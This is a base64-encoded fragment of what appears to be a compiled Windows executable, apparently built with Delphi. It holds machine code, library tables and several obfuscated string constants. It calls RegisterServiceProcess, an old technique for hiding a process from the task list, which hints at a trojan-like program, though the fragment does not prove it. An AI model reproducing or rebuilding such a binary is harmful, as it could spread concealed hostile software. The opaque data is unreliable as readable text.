ZIkQaNinQQCNRfzo+Iz+/8Ppiof+/+vwXltZXcMAAAD/////AQAAACAAAABRi8y6GKhBALg4 qEEA6Cbm//88AXUMagHou7P+/1D/VCQIWsP/////FgAAAFJlZ2lzdGVyU2VydmljZVByb2Nl c3MAAP////8MAAAAS0VSTkVMMzIuRExMAAAAAFWL7DPAVWjLqEEAZP8wZIkguPzuQQDoZYz+ /7j47kEA6FuM/v+49O5BAOhRjP7/uPDuQQDoR4z+/7js7kEA6D2M/v+46O5BAOgzjP7/uOTu QQDoKYz+/7jg7kEA6B+M/v+43O5BAOgVjP7/uNjuQQDoC4z+/zPAWllZZIkQaNKoQQDD6ZCG /v/r+F3DGQAAANyoQQDkWkAAtFpAAIBYQAAYWEAA7F5AALxeQACEs0AAVLNAALyzQACMs0AA vGFAAIxhQADUskAAlLFAAKS0QAB0tEAAKLVAANi0QACI5EAA0ONAAFzlQAAU5UAAVOtAAAzr QACU60AAZOtAAHjzQABI80AAhPZAAFT2QACE90AAVPdAAIgOQQBYDkEA5A5BALQOQQA8FkEA 4BVBAIQkQQA8JEEAsCxBAIAsQQCYM0EAaDNBAHBdQQCcXEEApF5BAHReQQAAAAAASKhBAFWL 7LlBAAAAagBqAEl1+VFTVle41KhBAOi/sP7/vhDvQQAzwFVo3bRBAGT/MGSJIDPAVWiOtEEA ZP8wZIkgaiDo07H+/1Do/bL+/2r/6Nax/v9Q6Piy/v/o6/3//41N8DPSuPS0QQDonLX//4tV 8Lj87kEA6P+K/v9qAGoBjUXsUDPJugy1QQCh/O5BAOh2tP//i0Xsi9boOH/+/4kG/waNlez+ //+LBugbf/7/jZXs/v//uNjuQQDoi4z+/2oBagGNhej+//9Qiw3Y7kEAugy1QQCh/O5BAOgr tP//utjuQQAzwOjbfP7/jY3k/v//M9K4GLVBAOgNtf//i5Xk/v//uOzuQQDobYr+/2oAagCN heD+//9QjY3c/v//M9K4ZLVBAOjgtP//i5Xc/v//M8mh7O5BAOjOs///i5Xg/v//uODuQQDo Lor+/2oAagCNhdj+//9QjY3U/v//M9K4eLVBAOihtP//i5XU/v//M8mh7O5BAOiPs///i5XY /v//uOTuQQDo74n+/42V0P7//7gBAAAA6F+1//+LldD+//+4+O5BAOjPif7/jZXM/v//uAIA AADoP7X//4uVzP7//7jo7kEA6K+J/v+Njcj+//8z0riItUEA6C20//+Lhcj+//9QjYXE/v// ixXo7kEAihLo14r+/4uVxP7//7jw7kEAWejGi/7/jZW4/v//odjuQQDoMsj+/4uFuP7//42V vP7//+jFwf7/i4W8/v//jY3A/v//M9LoRsf+/4uVwP7//7gI70EA6C6J/v9qAWoBjYW0/v// UIsNCO9BALqctUEAofzuQQDonrL//2oBagGNhbD+//9Quai1QQC6uLVBAKH87kEA6H+y//+N jaz+//+6AQAAAKEI70EA6Gqz//+Llaz+//+4AO9BAOjKiP7/xgUg70EAADPbxgUh70EAAKEA 70EAusS1QQDow4v+/3QmoQDvQQC61LVBAOiyi/7/dBWhAO9BALrktUEA6KGL/v8PhbwCAACN laD+//+4AQAAAOi/ev7//7Wg/v//aPi1QQCNlZz+//+4AgAAAOikev7//7Wc/v//aPi1QQCN lZj+//+4AwAAAOiJev7//7WY/v//aPi1QQCNlZT+//+4BAAAAOhuev7//7WU/v//aPi1QQCN lZD+//+4BQAAAOhTev7//7WQ/v//aPi1QQCNlYz+//+4BgAAAOg4ev7//7WM/v//aPi1QQCN lYj+//+4BwAAAOgdev7//7WI/v//aPi1QQCNlYT+//+4CAAAAOgCev7//7WE/v//jYWk/v// ug8AAADoaIr+/4uFpP7//42VqP7//+gPwf7/i5Wo/v//uATvQQDof4f+//81+O5BAGgEtkEA jY2A/v//M9K4ELZBAOjysf///7WA/v//uPTuQQC6AwAAAOgViv7/oQDvQQC65LVBAOhWiv7/ dTRqAf819O5BAGj4tUEA/zUE70EAjYV8/v//ugMAAADo4Yn+/4uFfP7//+jaiv7/UOgIr/7/ oQDvQQC6xLVBAOgRiv7/D4WaAgAA/zXw7kEAaAS2QQD/NQjvQQC4AO9BALoDAAAA6JuJ/v+N lXj+//+h5O5BAOg3v/7/jYV4/v//ugS2QQDow4j+/4uFeP7//1CNlWz+//+4AQAAAOjoeP7/ i4Vs/v//jZVw/v//6CfF/v+LhXD+//+NlXT+///o7r7+/4uVdP7//1johon+/w+FigAAAKEA 70EAUI2VaP7//7haAAAA6LL4//+LhWj+//9QjZVk/v//uFoAAADom/j//4uFZP7//1BqAY2V YP7//7gBAAAA6G54/v+LlWD+//8zyaHY7kEA6LTC//+EwHQuagCNlVz+//+4AQAAAOhGeP7/ i4Vc/v//6LuJ/v9QoQDvQQDosIn+/1Do9qv+/2oBoQTvQQDonon+/1DozK3+/+luAQAAjYVY /v//ULkCAAAAuiS2QQCh2O5BAOisuv//i4VY/v//ujC2QQDotIj+/w+FNgEAAI2FVP7//1C5 CAAAALo8tkEAodjuQQDoe7r//4uFVP7//7oM70EA6Md5/v+jDO9BAIsVDO9BAKHY7kEA6I68 //9oQLZBAOikrP7/ZoXAD4XaAAAAjY1Q/v//M9K4ULZBAOjBr///i5VQ/v//uPTuQQDoIYX+ /42FTP7//4sN9O5BAIsV8O5BAOheh/7/i4VM/v//6IvB/v+EwHV8ofTuQQBQaGS2QQCNlUj+ //+4WgAAAOhA9///i4VI/v//UI2VRP7//7haAAAA6Cn3//+LhUT+//9QoQzvQQBQagBqAIsN 8O5BADPSodjuQQDoArT//42FQP7//4sN9O5BAIsV8O5BAOjjhv7/i4VA/v//ugIAAADoG8H+ /7jY7kEAiw307kEAixXw7kEA6L2G/v/GBSHvQQAB6wfGBSDvQQABodjuQQDos9f//4E+QB8A AH4CswFoQLZBAOiTq/7/ZoXAD5TACsN1DYA9IO9BAAAPhIwDAACAPSHvQQAAD4V/AwAAaEC2 QQDoTav+/2oBagGNhTz+//9QuXC2QQC6fLZBAKH87kEA6H6t//9qAWoBjYU4/v//ULmItkEA upS2QQCh/O5BAOhfrf//agBqAY2FNP7//1AzyboMtUEAofzuQQDoQ63//4uFNP7//4vW6AJ4 /v+JBugTz/7/g8T43Rwkm42FMP7//+jp2v7/i5Uw/v//uPTuQQDofYP+/42FLP7//4sV9O5B AIoSiFABxgABjZUs/v//jYUo/v//6IR2/v+NhST+//+LFfTuQQCKUgGIUAHGAAGNlST+//+N hSj+//+xAugsdv7/jYUo/v//upi2QQAzyYoIQehjdv7/dXuNhST+//+LFfTuQQCKUgOIUAHG AAGNlST+//+NhSD+///oH3b+/42FHP7//4sV9O5BAIpSBIhQAcYAAY2VHP7//42FIP7//7EC 6Md1/v+NhSD+//+6nLZBADPJighB6P51/v91FrgUAAAA6IJ2/v+D+Ah1B8YFIO9BAAGAPSDv QQAAD4SLAAAAagFqAY2FGP7//1C5cLZBALqotkEAofzuQQDoAqz//7IBoWi7QADo9nj+/6MU 70EAagGNjRT+//8z0ri0tkEA6N2s//+LhRT+//9QjYUQ/v//ixX47kEAihLoh4P+/42FEP7/ /7rAtkEA6DOE/v+LhRD+//+5FO9BAFroHsb//6EU70EA6Mh4/v+zAYTbD4Q4AQAAagBqAY2F DP7//1AzybrMtkEAofzuQQDocqv//4O9DP7//wAPhQ8BAAC4MgAAAOijdf7/g/gID4X8AAAA agFqAY2FCP7//1C5JLZBALqotkEAofzuQQDoM6v//4A9IO9BAAB0CMcGAwAAAOsGxwYBAAAA uAIAAADoWnX+/0h1Ebj07kEAuty2QQDocIH+/+sPuPTuQQC6ELdBAOhfgf7/iwaZUlBqAGoD M8DoM8H+/+gEov7/6Lmh/v9SUI2NBP7//zPSofTuQQDowav//42FBP7//7r4tUEA6DGD/v+L hQT+//9QjY38/f//M9K4dLdBAOiYq///i438/f//jYUA/v//ixXw7kEA6EWD/v+LhQD+//9a 6BHY//9qAWoBjYX4/f//ULlwtkEAusy2QQCh/O5BAOhWqv//6Inx//+4iLdBAOhj2f//agFq AY2F9P3//1C5iLZBALp8tkEAofzuQQDoKKr//zPAWllZZIkQ6xTpoXn+/7iIt0EA6CvZ///o Znv+/zPAWllZZIkQaOS0QQCNhfT9//+6CgAAAOgtgP7/jYUw/v//ui8AAADoHYD+/41F7LoC AAAA6BCA/v/D6X56/v/ry19eW+ikfv7//////w8AAABpYlppbVRmWnJmfYdZdIEA/////wMA AABGQzAA/////0EAAACbtKy7v6a4rKSSr6q6tLm2rrminrGzqra/uKKKvbe4rLa5nKy6uK+2 tqGLv7ixtbmtt6KasKqys2iLtbOsqri6pAAAAP////8IAAAAX3F/gX56bnoAAAAA/////wcA AABScH94gnp8AP////8KAAAAS2qBdXSHcnx2cgAA/////wMAAABGRDEA/////wQAAAAxLjg4 AAAAAP////8DAAAARkMxAP////8GAAAAgHN9b0A8AAD/////BgAAAIBtbHlAPAAA/////wgA AACBgXtye3hAQAAAAAD/////AQAAACAAAAD/////AQAAAFwAAAD/////CQAAAIKCfEJCO3OH dQAAAP////8BAAAAMgAAAP////8CAAAAc2MAAP////8BAAAAOAAAAGBzfU9udwAA/////wsA AABuYnmDVUJCP3eHdQD/////AgAAACAgAAD/////AQAAADEAAAD/////AwAAAEZEMgD///// AQAAADAAAAD/////AwAAAEZDOQACMTYAAjEwAP////8DAAAARkQzAP////8DAAAANDUyAP// //8CAAAAOlwAAP////8EAAAARkM0MQAAAAD/////KQAAAIuAl6FzjpuOYp9+jnWWnI5+nHGO gpqPjnOil4Oqkn2OfZaRd496k4eNAAAA/////1kAAAC7sMfRo77Lf7bC0NLJzMx/kYuOf6PM ztjSxsXH1H0Hf5KNjpCAj9CvgH2rwMTCfsjOfY1/qMLBx899w82Ain6i1cbS2cXMin+txsHH z77BwM59q8TYxsHOvQAAAP////8LAAAAbmJ5g1VwfT9liIMA/////wYAAABgc31PbncAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAyE4vAAgCLwACNQAAAjUAAAI1AAAAAAAAAAAAA2B9AAGAhQADUJEAAUnVudGltZSBlcnJv ciAgICAgYXQgMDAwMDAwMDAAi8BFcnJvcgCLwDAxMjM0NTY3ODlBQkNERUYgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg DQqLwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB8A HAAfAB4AHwAeAB8AHwAeAB8AHgAfAB8AHQAfAB4AHwAeAB8AHwAeAB8AHgAfAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9GtAAAAAAAAAAACAAAAAQAAAAMAAAAAAAAAAAAEA AAACAAAAAwAAAMRfQADMX0AAgMukTABcJgUlLipkXGBAAGRgQABsYEAAdGBAAHxgQACEYEAA jGBAAJRgQACcYEAApGBAAKxgQAC0YEAAvGBAAMRgQADMYEAA1GBAANxgQADkYEAA7GBAAPRg QAD8YEAABGFAAAxhQAAUYUAAHGFAACRhQAAsYUAANGFAADxhQABEYUAATGFAAFRhQABcYUAA ZGFAAGxhQAB0YUAAfGFAAIRhQAACAAAAAAAAAAMAAAAAAAAABAAAAAAAAAAFAAAAAAAAAGQA AAAAAAAAZQAAAAAAAABqAAAAAAAAAMhkQAAAAAAAIGVAAAAAAAB4ZUAAAAAAACxmQAAAAAAA hGZAAAAAAADcZkAAAAAAADRnQAAAAAAA6GdAAAAAAACgaEAAAAAAAABpQAAAAAAAtGlAAAAA AABYaUAAAAAAAAxqQAAAAAAADGpAAAAAAAAMakAAAAAAAAxqQAAAAAAADGpAAAAAAAAMakAA AAAAAGhqQAAAAAAAEGRAAAAAAAAka0AAAAAAANhrQAAAAAAAAAAAALS0QADEtEAA1LRAAATl QAAQ5UAA/OpAAAjrQACAAIEAggCDAIQAhQCGAIcAiACJAIoAiwCMAI0AjgCPAJAAkQCSAJMA lACVAJYAlwCYAJkAmgCbAJwAnQCeAJ8AoAChAKIAowCkAKUApgCnAKgAqQCqAKsArACtAK4A rwCwALEAsgCzALQAtQC2ALcAuAC5ALoAuwC8AL0AvgC/AMAAwQDCAMMAxADFAMYAxwDIAMkA ygDLAMwAzQDOAM8A0ADRANIA0wDUANUA1gDXANgA2QDaANsA3ADdAN4A3wDgAOEA4gDjAOQA 5QDmAOcA6ADpAOoA6wDsAO0A7gDvAPAA8QDyAPMA9AD1APYA9wD4APkA+gD7APwA/QD+AP8A gACBAIIAgwCEAIUAhgCHAIgAiQCKAIsAjACNAI4AjwCQAJEAkgCTAJQAlQCWAJcAmACZAJoA mwCcAJ0AngCfAKAABAHYAkEBpAA9AVoBpwCoAGABXgFkAXkBrQB9AXsBsAAFAdsCQgG0AD4B WwHHArgAYQFfAWUBegHdAn4BfAFUAcEAwgACAcQAOQEGAccADAHJABgBywAaAc0AzgAOARAB QwFHAdMA1ABQAdYA1wBYAW4B2gBwAdwA3QBiAd8AVQHhAOIAAwHkADoBBwHnAA0B6QAZAesA GwHtAO4ADwERAUQBSAHzAPQAUQH2APcAWQFvAfoAcQH8AP0AYwHZAoAAgQCCAIMAhACFAIYA hwCIAIkAigCLAIwAjQCOAI8AkACRAJIAkwCUAJUAlgCXAJgAmQCaAJsAnACdAJ4AnwCgACYB 2AKjAKQA/f8kAacAqAAwAV4BHgE0Aa0A/f97AbAAJwGyALMAtAC1ACUBtwC4ADEBXwEfATUB vQD9/3wBwADBAMIA/f/EAAoBCAHHAMgAyQDKAMsAzADNAM4AzwD9/9EA0gDTANQAIAHWANcA HAHZANoA2wDcAGwBXAHfAOAA4QDiAP3/5AALAQkB5wDoAOkA6gDrAOwA7QDuAO8A/f/xAPIA 8wD0ACEB9gD3AB0B+QD6APsA/ABtAV0B2QKAAIEAggCDAIQAhQCGAIcAiACJAIoAiwCMAI0A jgCPAJAAkQCSAJMAlACVAJYAlwCYAJkAmgCbAJwAnQCeAJ8AoAAEATgBVgGkACgBOwGnAKgA YAESASIBZgGtAH0BrwCwAAUB2wJXAbQAKQE8AccCuABhARMBIwFnAUoBfgFLAQABwQDCAMMA xADFAMYALgEMAckAGAHLABYBzQDOACoBEAFFAUwBNgHUANUA1gDXANgAcgHaANsA3ABoAWoB 3wABAeEA4gDjAOQA5QDmAC8BDQHpABkB6wAXAe0A7gArAREBRgFNATcB9AD1APYA9wD4AHMB +gD7APwAaQFrAdkCgACBAIIAgwCEAIUAhgCHAIgAiQCKAIsAjACNAI4AjwCQAJEAkgCTAJQA lQCWAJcAmACZAJoAmwCcAJ0AngCfAKAAAQQCBAMEBAQFBAYEBwQIBAkECgQLBAwErQAOBA8E EAQRBBIEEwQUBBUEFgQXBBgEGQQaBBsEHAQdBB4EHwQgBCEEIgQjBCQEJQQmBCcEKAQpBCoE KwQsBC0ELgQvBDAEMQQyBDMENAQ1BDYENwQ4BDkEOgQ7BDwEPQQ+BD8EQARBBEIEQwREBEUE RgRHBEgESQRKBEsETARNBE4ETwQWIVEEUgRTBFQEVQRWBFcEWARZBFoEWwRcBKcAXgRfBIAA gQCCAIMAhACFAIYAhwCIAIkAigCLAIwAjQCOAI8AkACRAJIAkwCUAJUAlgCXAJgAmQCaAJsA nACdAJ4AnwCgAP3//f/9/6QA/f/9//3//f/9//3//f8MBq0A/f/9//3//f/9//3//f/9//3/ /f/9//3//f8bBv3//f/9/x8G/f8hBiIGIwYkBiUGJgYnBigGKQYqBisGLAYtBi4GLwYwBjEG MgYzBjQGNQY2BjcGOAY5BjoG/f/9//3//f/9/0AGQQZCBkMGRAZFBkYGRwZIBkkGSgZLBkwG TQZOBk8GUAZRBlIG/f/9//3//f/9//3//f/9//3//f/9//3//f+AAIEAggCDAIQAhQCGAIcA iACJAIoAiwCMAI0AjgCPAJAAkQCSAJMAlACVAJYAlwCYAJkAmgCbAJwAnQCeAJ8AoAAYIBkg owD9//3/pgCnAKgAqQD9/6sArACtAP3/FSCwALEAsgCzAIQDhQOGA7cAiAOJA4oDuwCMA70A jgOPA5ADkQOSA5MDlAOVA5YDlwOYA5kDmgObA5wDnQOeA58DoAOhA/3/owOkA6UDpgOnA6gD qQOqA6sDrAOtA64DrwOwA7EDsgOzA7QDtQO2A7cDuAO5A7oDuwO8A70DvgO/A8ADwQPCA8MD xAPFA8YDxwPIA8kDygPLA8wDzQPOA/3/gACBAIIAgwCEAIUAhgCHAIgAiQCKAIsAjACNAI4A jwCQAJEAkgCTAJQAlQCWAJcAmACZAJoAmwCcAJ0AngCfAKAA/f+iAKMApAClAKYApwCoAKkA 1wCrAKwArQCuAK8AsACxALIAswC0ALUAtgC3ALgAuQD3ALsAvAC9AL4A/f/9//3//f/9//3/ /f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/xcg 0AXRBdIF0wXUBdUF1gXXBdgF2QXaBdsF3AXdBd4F3wXgBeEF4gXjBeQF5QXmBecF6AXpBeoF /f/9/w4gDyD9/4AAgQCCAIMAhACFAIYAhwCIAIkAigCLAIwAjQCOAI8AkACRAJIAkwCUAJUA lgCXAJgAmQCaAJsAnACdAJ4AnwCgAAQB2AJBAaQAPQFaAacAqABgAV4BZAF5Aa0AfQF7AbAA BQHbAkIBtAA+AVsBxwK4AGEBXwFlAXoB3QJ+AXwBVAHBAMIAAgHEADkBBgHHAAwByQAYAcsA GgHNAM4ADgEeAdEA0gDTANQA1QDWANcA2ADZANoA2wDcADABXgHfAOAA4QDiAOMA5ADlAOYA 5wDoAOkA6gDrAOwA7QDuAO8AHwHxAPIA8wD0APUA9gD3APgA+QD6APsA/AAxAV8B/wCAAIEA ggCDAIQAhQCGAIcAiACJAIoAiwCMAI0AjgCPAJAAkQCSAJMAlACVAJYAlwCYAJkAmgCbAJwA nQCeAJ8AoAAEARIBIgEqASgBNgGnADsBEAFgAWYBfQGtAGoBSgGwAAUBEwEjASsBKQE3AbcA PAERAWEBZwF+ARUgawFLAQABwQDCAMMAxADFAMYALgEMAckAGAHLABYBzQDOAM8A0ABFAUwB 0wDUANUA1gBoAdgAcgHaANsA3ADdAN4A3wABAeEA4gDjAOQA5QDmAC8BDQHpABkB6wAXAe0A 7gDvAPAARgFNAfMA9AD1APYAaQH4AHMB+gD7APwA/QD+ADgBrCD9/xog/f8eICYgICAhIP3/ MCBgATkgWgFkAX0BeQH9/xggGSAcIB0gIiATIBQg/f8iIWEBOiBbAWUBfgF6AaAAxwLYAkEB pAAEAaYApwCoAKkAXgGrAKwArQCuAHsBsACxANsCQgG0ALUAtgC3ALgABQFfAbsAPQHdAj4B fAFUAcEAwgACAcQAOQEGAccADAHJABgBywAaAc0AzgAOARABQwFHAdMA1ABQAdYA1wBYAW4B 2gBwAdwA3QBiAd8AVQHhAOIAAwHkADoBBwHnAA0B6QAZAesAGwHtAO4ADwERAUQBSAHzAPQA UQH2APcAWQFvAfoAcQH8AP0AYwHZAgIEAwQaIFMEHiAmICAgISCsIDAgCQQ5IAoEDAQLBA8E UgQYIBkgHCAdICIgEyAUIP3/IiFZBDogWgRcBFsEXwSgAA4EXgQIBKQAkASmAKcAAQSpAAQE qwCsAK0ArgAHBLAAsQAGBFYEkQS1ALYAtwBRBBYhVAS7AFgEBQRVBFcEEAQRBBIEEwQUBBUE FgQXBBgEGQQaBBsEHAQdBB4EHwQgBCEEIgQjBCQEJQQmBCcEKAQpBCoEKwQsBC0ELgQvBDAE MQQyBDMENAQ1BDYENwQ4BDkEOgQ7BDwEPQQ+BD8EQARBBEIEQwREBEUERgRHBEgESQRKBEsE TARNBE4ETwSsIP3/GiCSAR4gJiAgICEgxgIwIGABOSBSAf3/fQH9//3/GCAZIBwgHSAiIBMg FCDcAiIhYQE6IFMB/f9+AXgBoAChAKIAowCkAKUApgCnAKgAqQCqAKsArACtAK4ArwCwALEA sgCzALQAtQC2ALcAuAC5ALoAuwC8AL0AvgC/AMAAwQDCAMMAxADFAMYAxwDIAMkAygDLAMwA zQDOAM8A0ADRANIA0wDUANUA1gDXANgA2QDaANsA3ADdAN4A3wDgAOEA4gDjAOQA5QDmAOcA 6ADpAOoA6wDsAO0A7gDvAPAA8QDyAPMA9AD1APYA9wD4APkA+gD7APwA/QD+AP8ArCD9/xog kgEeICYgICAhIP3/MCD9/zkg/f/9//3//f/9/xggGSAcIB0gIiATIBQg/f8iIf3/OiD9//3/ /f/9/6AAhQOGA6MApAClAKYApwCoAKkA/f+rAKwArQCuABUgsACxALIAswCEA7UAtgC3AIgD iQOKA7sAjAO9AI4DjwOQA5EDkgOTA5QDlQOWA5cDmAOZA5oDmwOcA50DngOfA6ADoQP9/6MD pAOlA6YDpwOoA6kDqgOrA6wDrQOuA68DsAOxA7IDswO0A7UDtgO3A7gDuQO6A7sDvAO9A74D vwPAA8EDwgPDA8QDxQPGA8cDyAPJA8oDywPMA80DzgP9/6wg/f8aIJIBHiAmICAgISDGAjAg YAE5IFIB/f/9//3//f8YIBkgHCAdICIgEyAUINwCIiFhATogUwH9//3/eAGgAKEAogCjAKQA pQCmAKcAqACpAKoAqwCsAK0ArgCvALAAsQCyALMAtAC1ALYAtwC4ALkAugC7ALwAvQC+AL8A wADBAMIAwwDEAMUAxgDHAMgAyQDKAMsAzADNAM4AzwAeAdEA0gDTANQA1QDWANcA2ADZANoA 2wDcADABXgHfAOAA4QDiAOMA5ADlAOYA5wDoAOkA6gDrAOwA7QDuAO8AHwHxAPIA8wD0APUA 9gD3APgA+QD6APsA/AAxAV8B/wCsIP3/GiCSAR4gJiAgICEgxgIwIP3/OSD9//3//f/9//3/ GCAZIBwgHSAiIBMgFCDcAiIh/f86IP3//f/9//3/oAChAKIAowCqIKUApgCnAKgAqQDXAKsA rACtAK4ArwCwALEAsgCzALQAtQC2ALcAuAC5APcAuwC8AL0AvgC/ALAFsQWyBbMFtAW1BbYF twW4BbkF/f+7BbwFvQW+Bb8FwAXBBcIFwwXwBfEF8gXzBfQF/f/9//3//f/9//3//f/QBdEF 0gXTBdQF1QXWBdcF2AXZBdoF2wXcBd0F3gXfBeAF4QXiBeMF5AXlBeYF5wXoBekF6gX9//3/ DiAPIP3/rCB+BhogkgEeICYgICAhIMYCMCB5BjkgUgGGBpgGiAavBhggGSAcIB0gIiATIBQg qQYiIZEGOiBTAQwgDSC6BqAADAaiAKMApAClAKYApwCoAKkAvgarAKwArQCuAK8AsACxALIA swC0ALUAtgC3ALgAuQAbBrsAvAC9AL4AHwbBBiEGIgYjBiQGJQYmBicGKAYpBioGKwYsBi0G LgYvBjAGMQYyBjMGNAY1BjYG1wA3BjgGOQY6BkAGQQZCBkMG4ABEBuIARQZGBkcGSAbnAOgA 6QDqAOsASQZKBu4A7wBLBkwGTQZOBvQATwZQBvcAUQb5AFIG+wD8AA4gDyDSBqwg/f8aIP3/ HiAmICAgISD9/zAg/f85IP3/qADHArgA/f8YIBkgHCAdICIgEyAUIP3/IiH9/zog/f+vANsC /f+gAP3/ogCjAKQA/f+mAKcA2ACpAFYBqwCsAK0ArgDGALAAsQCyALMAtAC1ALYAtwD4ALkA VwG7ALwAvQC+AOYABAEuAQABBgHEAMUAGAESAQwByQB5ARYBIgE2ASoBOwFgAUMBRQHTAEwB 1QDWANcAcgFBAVoBagHcAHsBfQHfAAUBLwEBAQcB5ADlABkBEwENAekAegEXASMBNwErATwB YQFEAUYB8wBNAfUA9gD3AHMBQgFbAWsB/AB8AX4B2QKsIP3/GiCSAR4gJiAgICEgxgIwIP3/ OSBSAf3//f/9//3/GCAZIBwgHSAiIBMgFCDcAiIh/f86IFMB/f/9/3gBoAChAKIAowCkAKUA pgCnAKgAqQCqAKsArACtAK4ArwCwALEAsgCzALQAtQC2ALcAuAC5ALoAuwC8AL0AvgC/AMAA wQDCAAIBxADFAMYAxwDIAMkAygDLAAADzQDOAM8AEAHRAAkD0wDUAKAB1gDXANgA2QDaANsA 3ACvAQMD3wDgAOEA4gADAeQA5QDmAOcA6ADpAOoA6wABA+0A7gDvABEB8QAjA/MA9AChAfYA 9wD4APkA+gD7APwAsAGrIP8AACUCJQwlECUUJRglHCUkJSwlNCU8JYAlhCWIJYwlkCWRJZIl kyUgI6AlGSIaIkgiZCJlIqAAISOwALIAtwD3AFAlUSVSJVEEUyVUJVUlViVXJVglWSVaJVsl XCVdJV4lXyVgJWElAQRiJWMlZCVlJWYlZyVoJWklaiVrJWwlqQBOBDAEMQRGBDQENQREBDME RQQ4BDkEOgQ7BDwEPQQ+BD8ETwRABEEEQgRDBDYEMgRMBEsENwRIBE0ESQRHBEoELgQQBBEE JgQUBBUEJAQTBCUEGAQZBBoEGwQcBB0EHgQfBC8EIAQhBCIEIwQWBBIELAQrBBcEKAQtBCkE JwQqBAAAAAAE0wD8AQAAuAAAAAAAAAAAAAAAAAAAAAAAAAAANBBBAEAQQQBMEEEAWBBBAGQQ QQBwEEEAfBBBAIgQQQCUEEEAoBBBAKwQQQC4EEEAxBBBANAQQQDcEEEA6BBBAPQQQQAAEUEA DBFBAOQWQQDwFkEABBdBABQXQQAgF0EAFBdBADAXQQAgF0EAMBdBAEAXQQAgF0EAMBdBAEwX QQBcF0EATBdBAGwXQQBcF0EATBdBAHgXQQDwFkEAeBdBAIQXQQAgF0EAhBdBAJAXQQDwFkEA nBdBALAXQQBcF0EAvBdBANAXQQDwFkEA3BdBAOwXQQDwFkEA+BdBABAYQQDwFkEA+BdBABwY QQDwFkEA+BdBACgYQQDwFkEA+BdBADQYQQDwFkEA+BdBAAAAAAAAAAAAAAABDU1TIFNhbnMg U2VyaWYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOw3QQCAAAAA/DdBAACAAAAQOEEAgIAAACA4 QQAAAIAAMDhBAIAAgABAOEEAAICAAFQ4QQCAgIAAZDhBAMDAwAB0OEEA/wAAAIg4QQAA/wAA mDhBAP//AACoOEEAAAD/ALw4QQD/AP8AzDhBAAD//wDgOEEA////APA4QQAAAACAADlBAAEA AIAUOUEAAgAAgCw5QQADAACARDlBAAQAAIBgOUEABQAAgHA5QQAGAACAhDlBAAcAAICcOUEA CAAAgLA5QQAJAACAyDlBAAoAAIDgOUEACwAAgPg5QQAMAACAFDpBAA0AAIAsOkEADgAAgEA6 QQAPAACAWDpBABAAAIBsOkEAEQAAgIA6QQASAACAlDpBABMAAICoOkEAFAAAgMg6QQAVAACA 4DpBABYAAID4OkEAFwAAgAw7QQAYAACAIDtBAP///x80O0EAAAAAAHQ7QQABAAAAjDtBAAIA AACkO0EATQAAALw7QQCAAAAA0DtBAIEAAADsO0EAggAAAAQ8QQCGAAAAHDxBAIgAAAA0PEEA oQAAAFA8QQCiAAAAaDxBALEAAACAPEEAsgAAAJg8QQC6AAAAsDxBAMwAAADIPEEA3gAAAOA8 QQDuAAAA+DxBAP8AAAAUPUEAAAABAAIAAwAEAAUABgCLwAEAEAALAAYADQAEAA4ABQAMAAMA DwACAAkACAAHAAoAAAAAAAAAAAAAAAAAAAAAAIAAAAAAgAAAgIAAAAAAgACAAIAAAICAAICA gADAwMAA/wAAAAD/AAD//wAAAAD/AP8A/wAA//8A////AHRgQADkX0AAJF9AAMRgQAAEYUAA bGFAAJRgQABMtEAAGOBBABRgQAB8YUAABOBBAFRhQABMYEAAfGBAADy0QAA8X0AAXGFAADxh QABkYUAAEOBBAAxfQAC8X0AABF9AAJxgQABEX0AAxF9AADxgQAAUtEAANLRAAOxgQAAU4kEA DGFAAHDlQQAEYEAAVGBAACS0QAAI4EEALLRAAMxgQAAA4EEADOBBABDlQQBEtEAAFGFAAJxf QACkX0AAVLRAAExhQAAUX0AAXF9AAMxfQABstEAA/F9AALxgQAAMtEAABLRAACRgQADEs0AA 5GBAANxfQAD0XkAA1GBAAPRgQADks0AAXLRAANRfQABkYEAApGBAADRhQAD8s0AANF9AAHRf QADcYEAAhF9AAERhQAB8X0AAHLRAABxhQAAU4EEALGBAAPRfQAAA10EAdGFAAPxeQAAsX0AA HGBAAPxgQAAkYUAAQOBBACxhQAAMYEAA9LNAAERgQADMs0AAQuBBAATAQQDUs0AAjGBAADRg QACsYEAAhGFAAGxgQACUX0AA3LNAABxfQACsX0AAVF9AAExfQAC0YEAA7LNAAGRfQABcYEAA tF9AAIxfQABsX0AAqOVBAOxfQACEYEAAZLRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQ9AEAGPEBAAAAAAAAAAAAAAAAABz3AQDA8QEA AAAAAAAAAAAAAAAAYvcBANTxAQAAAAAAAAAAAAAAAACi9wEA5PEBAAAAAAAAAAAAAAAAADL4 AQAE8gEAAAAAAAAAAAAAAAAAlPgBABzyAQAAAAAAAAAAAAAAAAAW+QEAPPIBAAAAAAAAAAAA 